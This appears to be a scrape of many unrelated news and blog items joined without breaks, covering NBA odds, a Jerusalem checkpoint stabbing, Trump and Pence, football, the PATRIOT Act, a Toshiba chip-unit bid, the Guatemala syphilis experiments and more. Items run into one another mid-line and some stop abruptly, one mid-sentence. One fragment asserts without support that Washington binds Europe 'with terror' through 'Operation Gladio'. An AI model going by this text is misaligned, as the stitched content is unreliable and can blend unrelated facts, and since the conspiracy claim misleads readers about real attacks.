2017 NBA Finals MVP Odds
Steph Curry (Warriors): 11/4
Kevin Durant (Warriors): 3/1
LeBron James (Cavaliers): 9/2
Draymond Green (Warriors): 12/1
Kyrie Irving (Cavaliers): 16/1
Klay Thompson (Warriors): 17/1
Kawhi Leonard (Spurs): 25/1
Isaiah Thomas (Celtics): 75/1
Lamarcus Aldridge (Spurs): 99/1
Kelly Olynyk (Celtics): 1000/1
It’s basically a toss-up whether Curry or Durant proves move valuable on the road to the 2017 title.
If the Cavs somehow manage to stop the Warriors again, it’ll be on the back of LeBron wizardry.
It might seem weird having Kawhi as the top Spur given his injury concerns. But let’s be real, the only way the Spurs win the title is if he comes back full strength … and soon.
Maybe Olynyk will parlay his Game 7 heroics against Washington into an MVP performance in the finals. And maybe I’ll get a call from Joe Maddon to start for the Cubs tomorrow. Sorry to burst your bubble, KG: not everything is possible.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
A female IDF Military Police officer sustained moderate- to-serious wounds after being stabbed in the neck Monday morning at the south Jerusalem security checkpoint Rachel’s Crossing, in what police are deeming a terrorist attack.
According to police spokesman Micky Rosenfeld, the assault took place a few minutes after 11 a.m. when the female suspect, identified as 20-year-old Misun Musa, a resident of Bethlehem, lunged at the 20-year-old officer, impaling her neck with the blade.
The suspect was then detained after a brief chase.The officer was immediately treated at the scene by Magen David Adom paramedics and rushed to Hadassah University Medical Center in Ein Kerem for treatment, Rosenfeld said.MDA paramedics Eyal Zehavi and Eldad Benstein said that when they arrived at the scene, the victim was fully conscious, but in great pain.“We gave her life-saving medical treatment that included stopping the bleeding, bandaging and fluid intake, and then anesthetized her,” they said in a joint statement.After arresting the terrorist, police found two more knives in her handbag and cordoned off the area to search for other suspects to determine she had acted alone, Rosenfeld said.Israeli security forces later said she confessed under interrogation that her intention was to kill an IDF soldier. The suspect had not been known to security forces and had no previous arrests.The attack comes one week after a Border Police officer stationed near the Damascus Gate was critically wounded after being stabbed in the neck and chest by a Palestinian terrorist he then shot.The officer, who underwent emergency surgery at Shaare Zedek Medical Center in Jerusalem has since been upgraded to serious-but-stable condition.Also on Monday, Military Police arrested a 15-yearold Palestinian boy armed with a submachine gun who attempted to pass a Shuafat security checkpoint in northern Jerusalem during the early hours of the morning.According to police, the unidentified teen entered the checkpoint shortly before 3 a.m. to gain passage to central Jerusalem, and when he passed through a metal detector, officers found a lightweight automatic Carl Gustav machine-gun concealed under his sweatshirt, jutting out of the waistline of his pants, police said.Military Police Officer Corp. Daniel Malka disarmed the teen and placed him under arrest before he was transferred to a holding facility for questioning in Jerusalem.The teen was later arraigned at Jerusalem Magistrate’s Court, where a judge ordered him remanded for several days pending an investigation into how he procured the weapon and whether he had accomplices.Lt.-Col. Gil Mamon, commander of the Military Police’s Erez Battalion, praised Malka for quickly disarming the suspect and averting a deadly scenario.“The battalion works throughout the year with a goal of capturing terrorists and weapons, and preventing their entry into the State of Israel,” Mamon said in a statement.“Battalion fighter Corp. Daniel Malka showed alertness and functioned with professionalism, as is expected of him, and we appreciate and are proud of that.”Knife used in attack (Photo credit: Police)
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>Your 2016 GOP ticket!
Screenshot CBS’ 60 Minutes
On Sunday evening, 60 Minutes aired Donald Trump and Mike Pence’s first joint interview since the former officially tapped the latter as his vice presidential running mate last week. The roughly 20-minute long segment was—not unlike the pair’s first public appearance as political partners—a highly awkward affair.
Trump, as Trump does, repeatedly interrupted both the person asking the questions (Lesley Stahl) and the person who was often supposed to be answering them (Pence). When Pence was allowed to get a word in, the Indiana governor was left to try to explain away some of the many substantive areas of domestic and foreign policy where he and his new boss disagree—which, on at least one occasion, Pence tried to do by just pretending there was no disagreement to begin with. “I support free trade, and so does Donald Trump,” said a man who backed NAFTA and the Trans Pacific Partnership of a man who calls TPP “a rape of our country.”
The most surreal exchange, however, happened when it was Trump, not Pence, who was the one forced to explain—or at least excuse—the actions of the other, in this case Pence’s 2002 vote in the House to authorize military intervention in Iraq.
“I don’t care,” Trump said of Pence’s vote. Pressed on how he could say that given he’s used Hillary Clinton’s vote on the same war as evidence that she’s unfit to be commander in chief, Trump responded that it was “a long time ago” and that it doesn’t matter because he (Trump) was “right on Iraq” from the beginning (a statement for which there is no actual evidence). “He’s entitled to make a mistake every once in a while,” Trump added of his new no. 2. “But [Clinton’s] not?” Stahl shot back. “No,” Trump said, “she’s not.”
Read more Slate coverage of the 2016 campaign.UPDATE: Although this property gossip saw a live digital listing for the property, a spokesperson of the real estate agent who represented the Hoppus house got in touch and says the property is not actually for sale either on or off the market. And, indeed, the digital listing has been removed from the listing agent’s website.
Diane d’Snitch sent word via covert digital communiqué that Blink-182 bassist and vocalist Mark Hoppus has his sleek mid-century modern on a quiet cul-de-sac in the ultra trendy and spectacularly spendy Trousdale Estates area of Beverly Hills available outside the Multiple Listing Service, with a rockstar-sized asking price of $10 million. Hoppus purchased the pristinely maintained and stylishly appointed Hal Levitt-designed residence in 2004 for $3.65 million, and several years ago, while he and his wife, Skye, were living in London, offered the swanky spread as a fully furnished luxury lease with an asking price of $15,000 per month.
Digital marketing materials show the low-slung house, completely obscured from the street behind a dense wall of tropical foliage and outfitted with a camera- equipped security system, has four bedrooms and five bathrooms in not quite 3,400 square feet. Hardwoods run throughout the single-level residence, which features a living room with a fireplace and a dramatic curved wall of floor-to-ceiling windows. There’s also a formal dining room, den, and an essentially circular, almost all-white kitchen with stainless-steel appliances. The curvaceous rear of the residence is lined with glass sliders that lead out to a keyhole-shaped swimming pool surrounded by extensive terraces for lounging and entertaining.
Hoppus, fresh off the release of “California,” his band’s seventh studio album and second No. 1 album on The Billboard 200, additionally owns an unassuming tract home that backs up to a San Diego golf course bought in 1998 for $315,000.
listing photos: Douglas Elliman Real EstatePresident Donald Trump mocked his vice president’s religious beliefs and social conservatism, according to a report published on Monday – jokingly telling a legal scholar during a White House discussion on gay rights that Mike Pence “wants to hang them all.”
Mr Trump’s critics are longing for his removal from office – and nine out of Mr Pence’s 47 predecessors have gone on to become president. But the magazine paints a picture of a calculating and extremely conservative politician backed by a powerful network of donors, who would likely take America even further to the Right that Mr Trump.
On Monday Mr Trump was at pains to put on a show of unity with the “establishment” wing of the Republican Party, which Mr Pence represents. The president had lunch with Mitch McConnell, the leader of the Republicans in the senate, who he has repeatedly berated on Twitter, and then professed himself to be “closer than ever before” to Mr McConnell.Get the biggest Manchester United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Ander Herrera was jubilant after scoring his second goal on Saturday.
But after hugging his nearby teammates, the former Athletic player broke away to share a hug with the man who set him up: Juan Mata.
If that embrace wasn't enough to convince of their friendship, Mata had high praise in his blog on Monday.
"Two more goals from Ander," he wrote.
"I think this is the first time he scores twice in a game and I’m very happy for him!
"The truth is he deserves it. He is a genius on and off the pitch and I know how happy he was after the game."
The two players have plenty in common.
Big money signings for Manchester United's midfield, the Spanish stars are happy to engage with fans and community work, and come across as thoroughly likeable individuals off the field.
Herrera said as much in the match programme on Saturday, admitting: "I'm very happy. Even when I was not playing, I was also happy. I am at Manchester United. I feel really lucky to be here.
"I feel really good at United and I hope to stay here for a long time.
"The manager has to decide who is playing or not but we have to respect always the decision he makes. The manager wants the best for the team, the best for us and we have to follow him always."
But while all is rosy at the minute, both have spent more time off the field this season than they - and supporters - would have liked.
Herrera - not helped by injuries - has only made 12 league starts while Mata was not selected for two months between January and March.
As for playing in the same XI, they have only lined up together seven times.
Looking at their record together only adds to the puzzle over why - Herrera's injuries aside - their playing time has been so restricted this season.
Herrera and Mata when they have started together in the league 7 Games 7 Goals 4 Assists
However you want to look at it the two have played well.
Three of those matches have been United's most recent: wins over Spurs, Liverpool and Villa.
Mata's brace - with a Herrera assist - gave United the win at Anfield, while the stats were reversed for the Villa game.
In the seven games they have started together, Mata and Herrera have seven goals and four assists between them, earning seven points for United with those contributions alone.
Overall the team has taken 16 out of a possible 21 when the two have played together, with Herrera suffering from injuries in the only two games the Reds did not win (Swansea at home and West Brom away).
United in the league when Herrera and Mata start 7 Games 16 Points +10 Goal difference
Delving closer into the numbers, the duo have been heavily involved in United's play aside from their goals and assists.
Against Villa, four of United's top five passing combinations involved one or both player. The same is true for the Liverpool game. Against Spurs they featured in the top three.
Ignoring the stats completely, Mata and Herrera have been involved for some of the highest points of United's season.
That 4-0 home win against QPR was the first to feature all of United's summer signings, and also the first victory for Van Gaal at Old Trafford.
A 2-1 win against Stoke came early in the long unbeaten run between November and January, and preceded six points from Southampton and Liverpool.
The last three games, starting with Spurs, have been doubly satisfying. The results have put United firmly on course for a top four finish, where before the situation looked messy.
And the performances have reignited supporter enthusiasm for Van Gaal's infamous philosophy and the team going forward.
The manager had high praise for Herrera on Saturday and hopefully the message will stick. Picking both happy Spaniards in the United team looks a decent way to keep the smiles at Old Trafford, on and off the pitch.
MORE:
See how fans rated Mata and Herrera for their performance in the Villa game.July 4 (UPI) -- The record for the world's longest continuous hockey game was shattered in Buffalo, N.Y., and helped raise more than $1 million for cancer research.
On its website, the 11 Day Power Play promised to be "an unfathomably fierce fight -- yet it's nothing compared to the battle cancer patients face each day."
Mike Lesakowski, the event's founder, said the idea for the marathon came after his wife died of cancer at the age of 35.
"Seeing what my wife went through was difficult," Lesakowski told WKBW. "You just rely on those people that help you get through things and it makes you a stronger person because of it."
The game lasted 11 days, beginning on June 22 at 9 p.m. and lasting until 8 a.m. Monday, the Buffalo News reported. The final score was was 1,492-1,477. The event raised $1.2 million for the Roswell Park Cancer Institute.
The game will still have to be verified by the Guinness Book of World Records before getting official recognition as the longest non-stop hockey game, but organizers believe they handily beat the old record of of 250 hours, 3 minutes and 20 seconds, which was set in 2015 by players in Alberta, Canada.
Event organizers took extra precautions to meet the Guinness Book of World Records criteria, including having all the players remain in the arena for the duration of the 11-day game. To meet that standard, sleeping quarters were created inside Buffalo's HarborCenter arena for the players.
"I probably slept 2 hours today. I try to get 4 hours but it never happens," said Kenny Corp, one of the players participating in the event.
But lack of sleep during an 11-day hockey game didn't wear out the players participating in the charity event.
"People ask if we're tired," said participant Chris Evanco. "How can you get tired of doing something you love?"“There has never been a more defining film on the Indian screen. Indian film history can be divided into Sholay BC and Sholay AD” - Shekhar Kapoor
Sholay's release in 1975 proved to be a watershed event in the industry. The movie screened for five years at a landmark Mumbai theatre, the longest ever run in India at the time. It's no wonder that owner and managing director of Mandviwalla Entertainment, Nadeem Mandviwalla is now bringing the cult classic to Pakistani cinema screens, over 40 years after its release.
Talking to Dawn.com, Mr. Mandviwalla shares: "Sholay is undoubtedly one of the most unique films of all time; it's a classic that has never been released in the country. Many people have been deprived of the experience of watching it in a cinema so we feel the audience will want to come watch it, given the opportunity."
The pioneering film is an action adventure circling around two petty thieves hired by a police officer to exact revenge on a ruthless bandit. The star-studded cast included Amitabh Bachchan, Dharmendra, Sanjeev Kumar, Hema Malini and Jaya Bhaduri, among other Bollywood greats.
The movie was remastered last year in 2014 and released in 3D for the new generation of moviebuffs. It will be releasing in 2D and 3D in Pakistan.
Mandviwalla adds, "The movie will not have a wide release. It will be shown at more cinemas but less shows. It's tentatively releasing on 20 March, as 23 March will be a public holiday (on account of Pakistan Day) so people will have a wide array of movies to watch such as Jalaibee and Insurgent, which are also releasing around the same time."
Other movies that have been reworked and released in 3D in Pakistani cinemas such as The Lion King and Titanic didn't garner much attention so it will be interesting to see if Sholay will meet the same fate. For what it's worth, it seems highly unlikely!Do you support the NSA's bulk data collection practice? * No Yes
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Three provisions of the PATRIOT Act are set to expire on June 1: Section 215, the “Lone Wolf” provision, and the “Roving Wiretap” provision. While some lawmakers will insist on renewing these provisions, Americans generally oppose the surveillance programs justified in the law and Congress is divided between reform and renewal.
A new bill was recently introduced that would repeal both the PATRIOT Act and the 2008 FISA Amendments Act.
The Surveillance State Repeal Act was introduced on March 24 by U.S. Representatives Mark Pocan (D-Wis.) and Thomas Massie (R-Ky.). The bill proposes a comprehensive repeal of the PATRIOT Act and the termination of domestic NSA spying programs.
Pocan said in a press release that the Surveillance State Repeal Act “ends the NSA’s dragnet surveillance practices, while putting provisions in place to protect the privacy of American citizens through real and lasting change.”
In addition to removing several other programs in the PATRIOT Act and the 2008 FISA Amendments Act, Section 215 is specifically targeted as it justifies one of the more invasive programs utilized by the NSA. Section 215 allows the NSA to exhaustively collect and retain phone records for extensive periods of time. These records include the dates and times of calls and the identity of each party, but not the content of the conversations.
The other provisions set to expire include the “Lone Wolf” provision and the “Roving Wiretap” provision.
The “Lone Wolf” provision expands the definition of “an agent of foreign power” to include any non-U.S. citizen who “engages in international terrorism or activities in preparation therefore.” This extends beyond the previous requirement that an individual must be connected to a “foreign power or entity” to qualify as an agent of a foreign power.
The “Roving Wiretap” provision amends a part of Section 105 of FISA that describes the people that can assist in collecting information about a specified individual.
“If Section 215 (of the law which covers the collection) sunsets, we will not continue the bulk telephony metadata program,” said National Safety Council spokesperson Ned Price in a statement to Reuters.
However, he also acknowledges that “[a]llowing Section 215 to sunset would result in the loss… of a critical national security tool…” and that the administration has the ability to use a legal loophole to continue collecting these records, but they will not use it.
In order to prevent the looming “sunset” of 215 and the other expiring parts of the PATRIOT Act, Congress would need to pass legislation that would renew each provision. However, the Legislative Branch is fairly divided on the issue.
(The Surveillance State Repeal Act) ends the NSA’s dragnet surveillance practices, while putting provisions in place to protect the privacy of American citizens... U.S. Rep. Mark Pocan (D-Wis.)
In November 2014, the USA FREEDOM Act was blocked from going to the floor by all but four Senate Republicans and one Democrat. The FREEDOM Act was a set of reforms for FISA, including an amendment that would have established a new process for using the powers allotted in Section 215.
There are still plenty of lawmakers who view the PATRIOT Act and the FISA Amendments Act as vital to the nation’s security and therefore are reluctant to support any bill that would alter these laws in any way.
The FREEDOM Act received enough support to pass the House in May 2014 after being severely watered down. The Surveillance State Repeal Act would end controversial measures in the PATRIOT Act and FISA Amendments Act completely, which means that it is likely to get less support in Congress despite growing public support for such a bill.
A Gallup poll conducted in January 2015 asked participants to rate government surveillance of U.S. citizens on a scale ranging from “Very Satisfied” to “Very Dissatisfied.” Only 8 percent of participants reported that they were “Very Satisfied” with government surveillance, with 23 percent “Somewhat Satisfied.” The plurality of participants, 34 percent, reported feeling “Very Dissatisfied” with government surveillance.
The Surveillance State Repeal Act has 5 cosponsors and, according to the Library of Congress, is currently in committee. Whether or not the committee will actually take up the bill remains to be seen.
Photo Credit: Carsten ReisingerAn attorney with the Internal Revenue Service’s professional standards office in Washington has been charged with conspiring to distribute 500 grams or more of methamphetamine, U.S. prosecutors said.
Jack Vitayanon, 41, an IRS attorney since 2012 allegedly participated in a meth ring with others in Arizona and on Long Island between about September 2014 and January, according to a criminal complaint unsealed in Brooklyn federal court Wednesday.
Public records show Vitayanon living in the U Street corridor. Prosecutors said the criminal complaint noted that during one alleged transaction, Vitayanon directed a buyer to make a cash deposit of $1,650 to Vitayanon’s bank account to cover the cost of one ounce of meth including shipping via FedEx and “my Ubers.”
“A federal attorney working for the IRS’s Office of Professional Responsibility — broke bad and supplemented his income by selling distribution quantities of methamphetamine,” Robert L. Capers, U.S. attorney for the eastern district of New York alleged in a statement about the charge.
Vitayanon was ordered detained and agreed to be transported to Brooklyn in a first court appearance Thursday before U.S. Magistrate G. Michael Harvey of Washington. His attorney, Edward C. Sussman, declined comment.
No court date in New York has been set pending his transfer, prosecutors said.
John Lattuca, a Homeland Security Investigation special agent, stated in a court affidavit that in a recent negotiation and sale Vitayanon was recorded via internet-based video chats. That alleged transaction included a Dec. 15 video chat between Vitayanon, who was at his apartment, and a person in Oceanside, N.Y., in which prosecutors assert Vitayanon appeared to be smoking meth from a glass pipe during the call.
A search warrant of Vitayanon’s apartment seized additional amounts of the suspected drug, paraphernalia, packaging materials and drug ledgers, authorities alleged.
He was arrested Wednesday in Washington, prosecutors said.TAIPEI (Reuters) - Apple Inc and computing giant Dell Inc will join a Foxconn-led consortium bidding for Toshiba Corp’s highly prized chip unit, the CEO of the world’s largest contract electronics manufacturer told Reuters on Monday.
Terry Gou, founder and chairman of Foxconn reacts during an interview with Reuters in New Taipei City, Taiwan June 12, 2017. REUTERS/Eason Lam
Terry Gou, Foxconn’s founder and chief executive, said U.S.-based Kingston Technology Co, a maker of memory products, would also be part of the bidding group, while Amazon.com Inc was close to joining.
The Taiwanese firm is also in discussions with Alphabet Inc’s Google, Microsoft Corp and Cisco Systems Inc about their participation in the bid, he said.
He declined to say how much Apple and other U.S. firms planned to invest.
“I can tell you Apple is in for sure,” Gou said in an interview, adding that its participation had been approved by Chief Executive Tim Cook and Apple’s board of directors.
Asked about the total size of the Foxconn-led offer, he declined to give a figure, saying only that it was “very close” to other bids.
Toshiba is rushing to find a buyer for the world’s second-largest producer of NAND chips, which it values at $18 billion or more, to cover billions of dollars in cost overruns at its now-bankrupt U.S. nuclear business Westinghouse Electric Corp.
Foxconn, however, has not been seen as a frontrunner for the unit due to its deep ties with China, where it manufactures much of its products. The Japanese government has said it will block any deal that would risk the transfer of key chip technology out of the country.
Gou said that the Foxconn-led consortium contained no Chinese capital and had the advantage of not inviting as much antitrust scrutiny as other suitors. He also played down potential opposition from the Japanese government to the bid.
“The key is that we are all customers, we are users,” he said.
Foxconn, formally known as Hon Hai Precision Industry Co, and its Japanese unit Sharp Corp would have a combined stake of not more than 40 percent, he added.
Representatives for Apple and the other U.S. firms named by Gou could not be immediately reached for comment outside of regular business hours. Sharp declined to comment.
Separately a source familiar with the matter said Japanese telecoms and internet giant SoftBank Group Corp was also part of the Foxconn-led consortium.
SoftBank declined to comment. Toshiba was not immediately available for comment.
FIERCE COMPETITION
Gou’s revelations of the Foxconn-led bid come as uncertainty spikes over the make-up of the groups competing in the hotly contest auction just days before Toshiba is due to announce a preferred bidder.
Western Digital Corp plans to raise its offer for Toshiba’s semiconductor unit, a person familiar with the matter told Reuters over the weekend, in a last-ditch effort to clinch a deal.
The U.S. chipmaker is part of a consortium led by a Japanese government-backed fund and the group will present the new offer of 2 trillion yen ($18 billion) or more, the source said.
The news helped Toshiba’s shares climb 9 percent on Monday. The stock is still down 26 percent from levels in late December, before it flagged big losses at its Westinghouse unit.
The laptops-to-nuclear conglomerate aims to name a winner at a board meeting on June 15. Tokyo, however, has been asking Toshiba to postpone the decision as the government-led consortium has yet to finalize its proposal.
Some sources have said that the state-backed fund, the Innovation Network Corp of Japan, is also exploring a potential consortium with Bain Capital, though it is unclear what other firms would also be members of that group.
Western Digital has been seen by some sources as crucial to a successful deal, as it jointly operates a key flash-memory chip plant with Toshiba in western Japan.
Slideshow (4 Images)
But Western Digital and Toshiba have been at loggerheads over the auction. Western Digital is pursuing an international arbitration claim that Toshiba has breached joint-venture contracts by entertaining outside bids.
Toshiba has favored a separate bid from U.S. chipmaker Broadcom Ltd, which has partnered with U.S. private equity firm Silver Lake to offer 2.2 trillion yen, people familiar with the matter have told Reuters.
($1 = 109.9900 yen)WASHINGTON (Reuters) - The United States apologized on Friday for an experiment conducted in the 1940s in which U.S. government researchers deliberately infected Guatemalan prison inmates, women and mental patients with syphilis.
In the experiment, aimed at testing the then-new drug penicillin, inmates were infected by prostitutes and later treated with the antibiotic.
“The sexually transmitted disease inoculation study conducted from 1946-1948 in Guatemala was clearly unethical,” Secretary of State Hillary Clinton and Health and Human Services Secretary Kathleen Sebelius said in a statement.
“Although these events occurred more than 64 years ago, we are outraged that such reprehensible research could have occurred under the guise of public health. We deeply regret that it happened, and we apologize to all the individuals who were affected by such abhorrent research practices,” the statement said.
Guatemala condemned the experiment as a crime against humanity and said it would study whether there were grounds to take the case to an international court.
“President Alvaro Colom considers these experiments crimes against humanity and Guatemala reserves the right to denounce them in an international court,” said a government statement, which announced a commission to investigate the matter.
Guatemalan human rights activists called for the victims’ families to be compensated, but a U.S. official said it was not clear there would be any compensation.
President Barack Obama called Colom to offer his personal apology for what had happened, a White House spokesman said.
The experiment, which echoed the infamous 1960s Tuskegee study on black American men who were deliberately left untreated for syphilis, was uncovered by Susan Reverby, a professor of women’s studies at Wellesley College in Massachusetts.
696 EXPOSED TO STD
Reverby found out about it this year while following up on a book about Tuskegee and, unusually for a researcher, informed the U.S. government before she published her findings.
“In addition to the penitentiary, the studies took place in an insane asylum and an army barracks,” Reverby said.
“In total, 696 men and women were exposed to the disease and then offered penicillin. The studies went on until 1948 and the records suggest that, despite intentions, not everyone was probably cured,” she said in a statement.
Her findings, to be published in January in the Journal of Policy History, link the Tuskegee and Guatemalan studies.
“In 1946-48, Dr. John C. Cutler, a Public Health Service physician who would later be part of the Syphilis Study in Alabama in the 1960s and continue to defend it two decades after it ended in the 1990s, was running a syphilis inoculation project in Guatemala, co-sponsored by the PHS, the National Institutes of Health, the Pan American Health Sanitary Bureau (now the Pan American Health Organization) and the Guatemalan government,” she wrote.
“It was the early days of penicillin and the PHS was deeply interested in whether penicillin could be used to prevent, not just cure, early syphilis infection, whether better blood tests for the disease could be established, what dosages of penicillin actually cured infection and to understand the process of reinfection after cures.”
The full paper is available here'Normal%20Exposure'.pdf
Dr. Francis Collins, director of the U.S. National Institutes of Health, said regulation prohibited such “risky and unethical” research today. He said the revelations could damage efforts to attract volunteers to take part in medical research today.
“I think the track record in past 20-30 years has been quite remarkable,” Collins told reporters in a telephone briefing.
“But we all recognize that the Tuskegee study, which involved this same Dr. Cutler, did great damage to the trust... particularly from the African-American community and for medical research.”
Arturo Valenzuela, Assistant U.S. Secretary of State for Western Hemisphere Affairs, said it was not yet clear whether any compensation would be offered. It was also not clear whether any of the people who were experimented upon could be traced, but he said an investigation had been launched.
Collins said there were no records of the study at NIH other than the title of the original grant.
Cutler retired as a professor at the University of Pittsburgh in 1985 and died in 2003.Staff at a Halifax-area Sobeys racially discriminated against a woman by falsely accusing her of being a shoplifter, an independent human rights board of inquiry ruled on Friday.
Andrella David went for ice cream at the Tantallon Sobeys in May 2009. While waiting in line, a staff member named Jennie Barnhill approached her and publicly accused her of being a "known shoplifter in the store."
In front of other customers, the Sobeys employee said they had video footage of David stealing on previous occasions. Barnhill said they were watching David and would press charges if it happened again. The employee also accused her of robbing a nearby liquor store, another unsubstantiated claim.
If you think that's me, you must think all black people look alike. - Andrella David
"There was no indication that Ms. David had attempted to shoplift," board of inquiry chairwoman Marion Hill says in the ruling, which validates the complaint to the Nova Scotia Human Rights Commission.
David asked the Sobeys employee to show her the footage so she could prove it was different person.
"If you think that's me, you must think all black people look alike," David told Barnhill upon screening the poor quality footage.
David then went to the Nova Scotia Liquor Corporation outlet and spoke to staff there, who said she was not the person who had shoplifted from their store. She then left the area "upset and crying."
'I know what I did was wrong'
Hill said Barnhill discriminated against David because David is black, and because of her "perceived income" by suggesting the thefts occurred on "cheque day."
David had taken her complaint to the Sobeys head office, the ruling says, but they accepted the accusations. The board of inquiry viewed the video and concluded it was of too poor quality to identify anyone.
Hill said colour and race were important factors in the decision to confront David. She also found that "racial profiling" was a factor in the treatment of David.
"The most distinguishing feature that could be positively identified from the pictures and the video evidence was the fact that the alleged shoplifter was a black woman with dark hair," she said.
Hill accepted the argument that shoplifting is a concern for Sobeys, resulting in serious financial loss.
"However, the respondent's continuous identification of the complainant as a known shoplifter is unjustified."
Barnhill has admitted she was wrong.
"I know what I did was wrong. I know the way I approached her was inappropriate and I knew that from the moment that I did it," she said. "Looking back, obviously I would never have handled it that way again because that approach was inappropriate."
Hill is independent of the Nova Scotia Human Rights Commission, which represents the public interest at the board of inquiry.
Hill reserved decision on remedy, and arguments on that question will be heard Oct. 27 and 28.Several EU countries, including Austria and Hungary, have expressed interest in lifting, or at least softening, sanctions, as they can no longer afford to miss out on trade with Russia. Having failed to influence Russia’s foreign policy, the sanctions are useless anyway. Nobody gains and everybody loses in this sanctions war – it’s a no-win policy. All summed up, it looks like opposition within the EU to the sanctions further renewal may now be close to achieving critical mass. All the indications are that the sanctions would not be extended anymore. The French lawmakers visit to Crimea is just another event to confirm this fact.
Washington has raised the cost of being a member of its Empire too high. Vassals such as France and Germany are beginning to exercise independent policies toward Russia. Observing the cracks in its Empire, Washington has decided to bind its vassals to Washington with terror. Most likely what we are witnessing in the French and German attacks is Operation Gladio.
Washington’s policy toward Russia, which has been imposed by Washington on all of Europe, |
on a laptop and I absolutely love Apple’s Pages program, anything that allows me to get my ideas out better, faster and more organized, and I love the internet. The plethora of ways to get messages out into culture is also incredibly intriguing to me, but that’s where it ends. I’m very skeptical of the “newest paradigm shifting technologies” when it comes to work. Responsible for too many gimmicks masquerading as ideas. The conversations revolving around new technologies are typically, “we can do this and this and this” but rarely do I ever hear an actual concept attached to any of these conversations. I’m a strong believer in the basic fundamentals, if those are covered and THEN you have a new device that can make more things achievable, then great. But if all you’re doing is relying on that thing to act like an idea, time will embarrass that piece.
What gets you thinking differently and what excites you outside of design?
Filmmaking, writing, biographies/memoirs, documentaries, essays, personality disorders, silence, being up when everyone else is asleep, working at night, walking, editing, success, attempting cultural relevancy, photography, backroads and small towns, moving to Wisconsin, Ellsworth Kelly, metaphors, being relaxed, John Lautner, Bowie, Eno, Laurie Anderson, music... I honestly believe that music is the god of all arts. By its very nature it achieves what every other art form aspires to.
My source of inspiration is mainly photography from an aesthetic perspective. Music is a heavy influence obviously. I love examining the success of things and hypothesizing on what went into that success. I think that’s why I love reading biographies so much. It’s a road map that great things are possible. Nothing different then the most successful person and anyone else, it’s just that they believed in something inside themselves, worked tirelessly and got a break.
Tell us about the experiences you've had with regard to the presentation you've been giving around the world about this particular sequence.
I don’t spend a lot of time thinking about my accomplishments. I want to get to the next opportunity so I can do something better. But to have 1500 people sit for an hour and be genuinely interested in something I did or what I have to say is incredibly rewarding. More rewarding than winning the Emmys in many ways. Don’t get me wrong, winning an Emmy is great and I’ll never give them back! But it’s professional recognition and that sort of thing is expected, somebody has to win right? The general public doesn’t have to care about anything, and not only that, there’s so much stuff vying for their attention. So when they lock on to something that I made, it’s pretty great, that’s success. To know I had an effect on popular culture is the reason I started making things in the first place. And that’s cooler than any professional opinion.
Eric Anderson deliberately cuts himself shaving
What were some of the most interesting conversations you've had when giving the presentation?
There’s a part of my presentation where I show an outtake of me slashing my throat with a razor. I wanted to get something ‘real’ on film, so Colin and myself slashed our necks as hard as we could to draw blood, but I was dehydrated and he’s bloodless, so it was a wash... but people generally react to that and want to find out if I’m crazy or not. I got in a long conversation with an Irish guy who worked at the Al Jazeera network during the height of their influence, I was trying to find out of he was crazy or not. I met one of the instigators from the Australian TV show “Chasers War on Everything” who dressed up like Osama Bin Laden and attended APEC. I knew he was crazy, batshit crazy, great guy.
And what kind of response to the title sequence have you received to-date?
It’s been a little nuts to be honest. I was recently blown away to have my work on Dexter be included in New York Magazine article on “Televisonaries.” I’m always blown away by the spoofs of the Dexter sequence on Youtube. Some are incredibly witty. It’s interesting to me to meet people completely outside the industry that know the title sequence. I’ll be at parties and be introduced as “the Dexter guy I was telling you about”, hopefully someday they’ll know me as Eric Anderson.
View the credits for this sequenceby
This is a guest post by Dagmar M. Pollex, J.D, an estate planning attorney based in Braintree, MA.
Putting together a life and estate plan designed to protect you from “Murphy’s Law” – those unexpected but not uncommon events that can upset your hopes for the future – is not really difficult at all. Nevertheless, I see many of the same mistakes made over and over again. The truth is that without experienced guidance, you can lose a lot more than you save by using DIY estate planning software or going for the cheapest alternative. The consequences of making any of these six serious estate planning mistakes can be devastating to your loved ones after your death.
The most frequent mistakes that I see – over and over again
1. Not checking beneficiary designations and making sure you have named contingent backup beneficiaries. This is especially true for your retirement accounts.
2. Not considering that your personal possessions may have more than their monetary value to your children and making a plan to distribute fairly and equitably.
3. Not naming backup executors and trustees. A less than perfect backup is usually better than not having someone at all and leaving it to the courts to decide.
4. Working with an estate planner who doesn’t take the time to make sure the ownership of your accounts and beneficiary designations are properly coordinated to make sure what you own passes on in accordance with your wishes and your estate plan.
5. Acting as though estate planning is a once and done event. Update your estate plan periodically to protect yourself and your family as life circumstances, your assets, and the laws change.
6. Leaving your family to conduct a morbid scavenger hunt by not leaving written documentation of your assets, including a list of your online accounts and passwords and where to find important estate planning documents.
My comment: Estate planning is an often neglected piece of a comprehensive financial plan. The items listed above and others can have dire consequences for your loved one’s if you pass away without having taken care of them. Please make sure that you have your estate planning issues in order. Whether your estate is modest or large, leaving your loved ones with a mess to clean-up after you are gone is not how you want to be remembered.
Check out Dagmar’s blog and her Facebook page. Follow her on Twitter as well.
Please feel free to contact me with your questions.
Check out an online service like Personal Capital to manage all of your investment and retirement accounts all in one place. Please check out our Resources page for more tools and services that you might find useful.
Photo credit: WikipediaSAN FRANCISCO -- Hundreds of marijuana advocates gathered in downtown San Francisco Tuesday to protest recent federal crackdowns on California's medical cannabis industry while President Obama attended a fundraising luncheon at the nearby W Hotel.
Among the demonstrators was an employee at a local marijuana collective. "I've worked there for years," the man, who asked to remain anonymous, told The Huffington Post. "But if the Feds close us down, I'll be out there on the street with the Occupy Wall Street protesters because I'll be out of a job. This is my career, my livelihood. What Obama has done to our industry is nothing short of entrapment."
Despite an earlier promise to leave medical marijuana laws to the states, federal officials recently launched a whirlwind crackdown on cannabis dispensaries throughout the state, threatening to shut down certain pot shops and targeting others with exorbitant IRS bills and other sanctions. At a press conference held prior to the demonstration, Assemblyman Tom Ammiano (D-San Francisco) joined advocates, local lawmakers and business owners in calling on the Obama administration to intervene.
"It's a total overreaction by the U.S. attorneys and they need to be reined in," Ammiano said. "I don't know who let the dogs out, but they need to be called off."
